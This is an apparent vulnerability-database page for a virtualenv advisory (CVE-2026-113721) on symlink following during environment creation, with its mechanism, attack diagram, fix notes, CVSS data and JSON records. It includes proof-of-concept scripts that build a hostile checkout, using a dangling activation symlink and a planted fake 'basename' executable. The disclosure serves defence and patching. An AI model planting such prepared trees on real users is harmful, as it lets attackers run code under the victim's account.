Vulnerability-Lookup

GHSA-558C-9HV2-4PRJ

Vulnerability from github – Published: 2026-10-22 17:03 – Updated: 2026-10-22 17:03

Summary

virtualenv: Generated files can follow existing destination links

Details

Summary

Generated activation files and pyvenv.cfg can follow existing links and write outside the requested environment. The template writer tests exists() before unlinking, which misses dangling symlinks; the configuration writer opens the existing path directly.

Anthropic's OSS Scanner reported this as ANT-2026-XBEOCBS1 in virtualenv-20261015-005, received on 15 October 2026.

Affected area

Final file entries written during environment creation and seeding.

Attacker-controlled input

Another account must be able to prepare file links in the destination before creation. The invoking user must have write permission at the linked target. The destination parent must remain controlled during creation; concurrent parent-directory replacement is a separate concern.

Affected code

The relevant 21.14.8 source is in template writer, configuration writer.

Mechanism

ViaTemplateActivator._generate() removes an existing output only when Path.exists() is true. A dangling symlink therefore survives, and write_bytes() creates its target outside the environment. Other generated files have related final-entry behavior. PyEnvCfg.write() opens pyvenv.cfg without first replacing an existing link; a symlink or hard link there can overwrite an existing target. These paths require a prepared destination tree and the invoking user's permission to write the linked target.

Reproduction and evidence

The scanner's project tree contains venv/bin/activate -> ../../../.bash_aliases and an executable venv/bin/basename. Before creation, a new interactive bash does not create the marker. A plain virtualenv venv writes the activation script through the dangling link, creating ~/.bash_aliases as a regular file. Debian's stock .bashrc sources that file; the next interactive bash adds venv/bin to PATH and the planted basename writes the marker. The reproducer checks that the link remains, ~/.bash_aliases appears, and the second shell executes the planted file. A separate manual check links pyvenv.cfg to ~/.bashrc and observes the latter replaced with generated configuration text.

The link lets creation write outside the requested environment. The attacker chooses the target path but the generated bytes come from virtualenv. The executable in the example was already in the prepared tree; this finding is not arbitrary code injection into an otherwise trusted destination. The scanner traces the template behavior to #1454, first released in 20.0.0b1. PR #3431 replaces pre-existing output links and uses exclusive creation for generated text. It does not make a destination safe if another account can replace parent directories during creation.

Attack sequence

sequenceDiagram
    participant A as Prepared project tree
    participant V as virtualenv writer
    participant H as User home
    participant B as Next interactive bash
    A->>V: venv/bin/activate links to missing ~/.bash_aliases
    V->>V: Path.exists() follows link and returns false
    V->>H: write activation bytes through link
    H-->>B: ~/.bash_aliases now exists
    B->>H: .bashrc sources ~/.bash_aliases
    B->>A: PATH reaches planted venv/bin/basename
    A-->>B: marker created
    Note over V,H: pyvenv.cfg can also overwrite an existing linked target

Reproducer files

The following files are from the scanner report for ANT-2026-XBEOCBS1. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.

repro

#!/usr/bin/env python3
import os
import shutil
import subprocess
import sys
import tempfile

# set up: a fresh home with Debian's stock ~/.bashrc, which sources ~/.bash_aliases when that file exists
home = tempfile.mkdtemp(prefix="home-")
shutil.copy("/etc/skel/.bashrc", f"{home}/.bashrc")
bash_aliases = f"{home}/.bash_aliases"
marker = f"{home}/attacker-ran"
open_terminal = ["bash", "-i", "-c", "true"]
terminal_env = {"HOME": home, "PATH": "/usr/bin:/bin", "TERM": "dumb"}

# the attacker's repository, cloned by the user to ~/proj
checkout = f"{home}/proj"
subprocess.run([sys.executable, "/tmp/repro.d/make_hostile_checkout.py", checkout], check=True)
activate = f"{checkout}/venv/bin/activate"
print("shipped: venv/bin/activate ->", os.readlink(activate), flush=True)

# a terminal opened before virtualenv runs does not touch the checkout (stderr: bash -i without a tty warns)
subprocess.run(open_terminal, env=terminal_env, stderr=subprocess.DEVNULL, check=True)
print("before virtualenv: ~/.bash_aliases exists:", os.path.lexists(bash_aliases), "| marker exists:", os.path.exists(marker), flush=True)
assert not os.path.lexists(bash_aliases) and not os.path.exists(marker)

# trigger: the user creates an environment in the checkout, then opens a new terminal
subprocess.run(["virtualenv", "--no-periodic-update", "venv"], cwd=checkout, env={**os.environ, "HOME": home}, check=True)
subprocess.run(open_terminal, env=terminal_env, stderr=subprocess.DEVNULL, check=True)

# check: the activation script belongs in venv/bin/activate; it must not be written through the link to ~/.bash_aliases
print("venv/bin/activate is still the symlink:", os.path.islink(activate))
written_outside = os.path.isfile(bash_aliases) and not os.path.islink(bash_aliases)
print("~/.bash_aliases created as a regular file:", written_outside)
if written_outside:
    print("  its first line:", open(bash_aliases).readline().rstrip())
attacker_code_ran = os.path.exists(marker)
print("after a new terminal, marker exists:", attacker_code_ran)
if attacker_code_ran:
    print("  it says:", open(marker).read().rstrip())
print("BUG" if written_outside and attacker_code_ran else "OK")

repro.d/fake_basename.sh

#!/bin/sh
echo "attacker code ran as $(id -un)" > "$HOME/attacker-ran"
exec /usr/bin/basename "$@"

repro.d/make_hostile_checkout.py

import os
import shutil
import sys

checkout = sys.argv[1]
bin_dir = os.path.join(checkout, "venv", "bin")
os.makedirs(bin_dir)

# venv/bin/../../.. is the directory holding the checkout, i.e. ~ for a clone at ~/proj; ~/.bash_aliases does not exist
os.symlink("../../../.bash_aliases", os.path.join(bin_dir, "activate"))

# the bash activation script runs $(basename "$VIRTUAL_ENV") right after putting venv/bin first on PATH
fake_basename = os.path.join(bin_dir, "basename")
shutil.copy(os.path.join(os.path.dirname(__file__), "fake_basename.sh"), fake_basename)
os.chmod(fake_basename, 0o755)

Impact

Creation can overwrite or create files outside the requested environment with the invoking user's permissions. File contents are constrained by what virtualenv generates.

Severity: medium. CVSS 4.5, CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L, assigned during maintainer review.

Versions tested

The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.

The fix replaces existing entries, including symbolic and hard links, and exclusively creates generated text files. Before stdlib creation it replaces executable-directory symlinks and Windows junctions with real directories. It then removes symbolic and hard links inside that directory, including interpreter executables and DLLs, and at the configuration and ignore file paths. This also removes unrelated links directly in the executable directory. Final seed-launcher links are replaced. Exclusive creation protects the final text-file open; delegated stdlib and distlib writes still require a destination protected from concurrent replacement.

Fix: PR #3431.

Known mitigation

Use a fresh destination beneath an owner-controlled parent. Avoid creation over a tree populated by another account.

Affected release

[x] The problem reproduces on virtualenv 21.14.8.

Credits

Reported by Anthropic's OSS Scanner as ANT-2026-XBEOCBS1.

Severity

4.5 (Medium)


                  
                    CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "virtualenv"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "21.14.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-113721"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-22T17:03:12Z",
    "nvd_published_at": "2026-10-20T20:17:18Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nGenerated activation files and pyvenv.cfg can follow existing links and write outside the requested environment. The\ntemplate writer tests exists() before unlinking, which misses dangling symlinks; the configuration writer opens the\nexisting path directly.\n\nAnthropic\u0027s OSS Scanner reported this as `ANT-2026-XBEOCBS1` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nFinal file entries written during environment creation and seeding.\n\n## Attacker-controlled input\n\nAnother account must be able to prepare file links in the destination before creation. The invoking user must have write\npermission at the linked target. The destination parent must remain controlled during creation; concurrent\nparent-directory replacement is a separate concern.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[template writer](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/activation/via_template.py),\n[configuration writer](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/create/pyenv_cfg.py).\n\n## Mechanism\n\n`ViaTemplateActivator._generate()` removes an existing output only when `Path.exists()` is true. A dangling symlink\ntherefore survives, and `write_bytes()` creates its target outside the environment. Other generated files have related\nfinal-entry behavior. `PyEnvCfg.write()` opens `pyvenv.cfg` without first replacing an existing link; a symlink or hard\nlink there can overwrite an existing target. These paths require a prepared destination tree and the invoking user\u0027s\npermission to write the linked target.\n\n## Reproduction and evidence\n\nThe scanner\u0027s project tree contains `venv/bin/activate -\u003e ../../../.bash_aliases` and an executable `venv/bin/basename`.\nBefore creation, a new interactive bash does not create the marker. A plain `virtualenv venv` writes the activation\nscript through the dangling link, creating `~/.bash_aliases` as a regular file. Debian\u0027s stock `.bashrc` sources that\nfile; the next interactive bash adds `venv/bin` to `PATH` and the planted `basename` writes the marker. The reproducer\nchecks that the link remains, `~/.bash_aliases` appears, and the second shell executes the planted file. A separate\nmanual check links `pyvenv.cfg` to `~/.bashrc` and observes the latter replaced with generated configuration text.\n\nThe link lets creation write outside the requested environment. The attacker chooses the target path but the generated\nbytes come from virtualenv. The executable in the example was already in the prepared tree; this finding is not\narbitrary code injection into an otherwise trusted destination. The scanner traces the template behavior to #1454, first\nreleased in 20.0.0b1. [PR #3431](https://github.com/pypa/virtualenv/pull/3431) replaces pre-existing output links and\nuses exclusive creation for generated text. It does not make a destination safe if another account can replace parent\ndirectories during creation.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant A as Prepared project tree\n    participant V as virtualenv writer\n    participant H as User home\n    participant B as Next interactive bash\n    A-\u003e\u003eV: venv/bin/activate links to missing ~/.bash_aliases\n    V-\u003e\u003eV: Path.exists() follows link and returns false\n    V-\u003e\u003eH: write activation bytes through link\n    H--\u003e\u003eB: ~/.bash_aliases now exists\n    B-\u003e\u003eH: .bashrc sources ~/.bash_aliases\n    B-\u003e\u003eA: PATH reaches planted venv/bin/basename\n    A--\u003e\u003eB: marker created\n    Note over V,H: pyvenv.cfg can also overwrite an existing linked target\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-XBEOCBS1`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport os\nimport shutil\nimport subprocess\nimport sys\nimport tempfile\n\n# set up: a fresh home with Debian\u0027s stock ~/.bashrc, which sources ~/.bash_aliases when that file exists\nhome = tempfile.mkdtemp(prefix=\"home-\")\nshutil.copy(\"/etc/skel/.bashrc\", f\"{home}/.bashrc\")\nbash_aliases = f\"{home}/.bash_aliases\"\nmarker = f\"{home}/attacker-ran\"\nopen_terminal = [\"bash\", \"-i\", \"-c\", \"true\"]\nterminal_env = {\"HOME\": home, \"PATH\": \"/usr/bin:/bin\", \"TERM\": \"dumb\"}\n\n# the attacker\u0027s repository, cloned by the user to ~/proj\ncheckout = f\"{home}/proj\"\nsubprocess.run([sys.executable, \"/tmp/repro.d/make_hostile_checkout.py\", checkout], check=True)\nactivate = f\"{checkout}/venv/bin/activate\"\nprint(\"shipped: venv/bin/activate -\u003e\", os.readlink(activate), flush=True)\n\n# a terminal opened before virtualenv runs does not touch the checkout (stderr: bash -i without a tty warns)\nsubprocess.run(open_terminal, env=terminal_env, stderr=subprocess.DEVNULL, check=True)\nprint(\"before virtualenv: ~/.bash_aliases exists:\", os.path.lexists(bash_aliases), \"| marker exists:\", os.path.exists(marker), flush=True)\nassert not os.path.lexists(bash_aliases) and not os.path.exists(marker)\n\n# trigger: the user creates an environment in the checkout, then opens a new terminal\nsubprocess.run([\"virtualenv\", \"--no-periodic-update\", \"venv\"], cwd=checkout, env={**os.environ, \"HOME\": home}, check=True)\nsubprocess.run(open_terminal, env=terminal_env, stderr=subprocess.DEVNULL, check=True)\n\n# check: the activation script belongs in venv/bin/activate; it must not be written through the link to ~/.bash_aliases\nprint(\"venv/bin/activate is still the symlink:\", os.path.islink(activate))\nwritten_outside = os.path.isfile(bash_aliases) and not os.path.islink(bash_aliases)\nprint(\"~/.bash_aliases created as a regular file:\", written_outside)\nif written_outside:\n    print(\"  its first line:\", open(bash_aliases).readline().rstrip())\nattacker_code_ran = os.path.exists(marker)\nprint(\"after a new terminal, marker exists:\", attacker_code_ran)\nif attacker_code_ran:\n    print(\"  it says:\", open(marker).read().rstrip())\nprint(\"BUG\" if written_outside and attacker_code_ran else \"OK\")\n```\n\n**`repro.d/fake_basename.sh`**\n\n```text\n#!/bin/sh\necho \"attacker code ran as $(id -un)\" \u003e \"$HOME/attacker-ran\"\nexec /usr/bin/basename \"$@\"\n```\n\n**`repro.d/make_hostile_checkout.py`**\n\n```text\nimport os\nimport shutil\nimport sys\n\ncheckout = sys.argv[1]\nbin_dir = os.path.join(checkout, \"venv\", \"bin\")\nos.makedirs(bin_dir)\n\n# venv/bin/../../.. is the directory holding the checkout, i.e. ~ for a clone at ~/proj; ~/.bash_aliases does not exist\nos.symlink(\"../../../.bash_aliases\", os.path.join(bin_dir, \"activate\"))\n\n# the bash activation script runs $(basename \"$VIRTUAL_ENV\") right after putting venv/bin first on PATH\nfake_basename = os.path.join(bin_dir, \"basename\")\nshutil.copy(os.path.join(os.path.dirname(__file__), \"fake_basename.sh\"), fake_basename)\nos.chmod(fake_basename, 0o755)\n```\n\n## Impact\n\nCreation can overwrite or create files outside the requested environment with the invoking user\u0027s permissions. File\ncontents are constrained by what virtualenv generates.\n\nSeverity: medium. CVSS 4.5, `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L`, assigned during maintainer review.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix replaces existing entries, including symbolic and hard links, and exclusively creates generated text\nfiles. Before stdlib creation it replaces executable-directory symlinks and Windows junctions with real directories. It\nthen removes symbolic and hard links inside that directory, including interpreter executables and DLLs, and at the\nconfiguration and ignore file paths. This also removes unrelated links directly in the executable directory. Final\nseed-launcher links are replaced. Exclusive creation protects the final text-file open; delegated stdlib and distlib\nwrites still require a destination protected from concurrent replacement.\n\nFix: [PR #3431](https://github.com/pypa/virtualenv/pull/3431).\n\n## Known mitigation\n\nUse a fresh destination beneath an owner-controlled parent. Avoid creation over a tree populated by another account.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic\u0027s OSS Scanner as ANT-2026-XBEOCBS1.",
  "id": "GHSA-558c-9hv2-4prj",
  "modified": "2026-10-22T17:03:13Z",
  "published": "2026-10-22T17:03:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-558c-9hv2-4prj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113721"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/virtualenv/pull/3431"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/virtualenv/commit/d25f28699eefb1fc34a251e5adf2b5de844c36cd"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pypa/virtualenv"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/virtualenv/releases/tag/21.14.9"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "virtualenv: Generated files can follow existing destination links"
}

CVE-2026-113721 (GCVE-0-2026-113721)

Vulnerability from cvelistv5 – Published: 2026-10-20 19:46 – Updated: 2026-10-20 19:46

Title

virtualenv: Generated files can follow existing destination links

Summary

virtualenv is a tool for creating isolated virtual python environments. Prior to 21.14.9, ViaTemplateActivator._generate() removes an existing output only when Path.exists() is true, allowing a dangling symlink to survive and redirect generated activation content, while PyEnvCfg.write() opens pyvenv.cfg without first replacing an existing symbolic or hard link. Another local account that prepares final entries inside the destination can therefore cause environment creation to create or overwrite files outside the requested tree with constrained virtualenv-generated content and the invoking user's permissions. The destination parent must remain controlled by the environment owner during creation; concurrent parent-directory replacement is a separate concern. This issue is fixed in version 21.14.9.

Severity

4.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L

CWE

CWE-59 - Improper Link Resolution Before File Access ('Link Following')

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7674 records in the last 180 days details

References

4 references

URL	Tags
https://github.com/pypa/virtualenv/security/advis…	x_refsource_CONFIRM
https://github.com/pypa/virtualenv/pull/3431	x_refsource_MISC
https://github.com/pypa/virtualenv/commit/d25f286…	x_refsource_MISC
https://github.com/pypa/virtualenv/releases/tag/21.14.9	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
pypa	virtualenv	Affected: < 21.14.9

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "virtualenv",
          "vendor": "pypa",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 21.14.9"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "virtualenv is a tool for creating isolated virtual python environments. Prior to 21.14.9, ViaTemplateActivator._generate() removes an existing output only when Path.exists() is true, allowing a dangling symlink to survive and redirect generated activation content, while PyEnvCfg.write() opens pyvenv.cfg without first replacing an existing symbolic or hard link. Another local account that prepares final entries inside the destination can therefore cause environment creation to create or overwrite files outside the requested tree with constrained virtualenv-generated content and the invoking user\u0027s permissions. The destination parent must remain controlled by the environment owner during creation; concurrent parent-directory replacement is a separate concern. This issue is fixed in version 21.14.9."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "HIGH",
            "attackVector": "LOCAL",
            "availabilityImpact": "LOW",
            "baseScore": 4.5,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "LOW",
            "integrityImpact": "LOW",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-59",
              "description": "CWE-59: Improper Link Resolution Before File Access (\u0027Link Following\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-10-20T19:46:28.770Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/pypa/virtualenv/security/advisories/GHSA-558c-9hv2-4prj",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-558c-9hv2-4prj"
        },
        {
          "name": "https://github.com/pypa/virtualenv/pull/3431",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/pypa/virtualenv/pull/3431"
        },
        {
          "name": "https://github.com/pypa/virtualenv/commit/d25f28699eefb1fc34a251e5adf2b5de844c36cd",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/pypa/virtualenv/commit/d25f28699eefb1fc34a251e5adf2b5de844c36cd"
        },
        {
          "name": "https://github.com/pypa/virtualenv/releases/tag/21.14.9",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/pypa/virtualenv/releases/tag/21.14.9"
        }
      ],
      "source": {
        "advisory": "GHSA-558c-9hv2-4prj",
        "discovery": "UNKNOWN"
      },
      "title": "virtualenv: Generated files can follow existing destination links"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-113721",
    "datePublished": "2026-10-20T19:46:28.770Z",
    "dateReserved": "2026-10-20T16:03:14.863Z",
    "dateUpdated": "2026-10-20T19:46:28.770Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

Order JSON

Publication & reservation Sightings KEV catalogs Other timestamps

Loading timeline…

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

GHSA-558C-9HV2-4PRJ

Summary

Affected area

Attacker-controlled input

Affected code

Mechanism

Reproduction and evidence

Attack sequence

Reproducer files

Impact

Versions tested

Known mitigation

Affected release

Credits

CVE-2026-113721 (GCVE-0-2026-113721)

Tags

Sightings

Nomenclature

Vulnerability timeline

Related by attack behaviour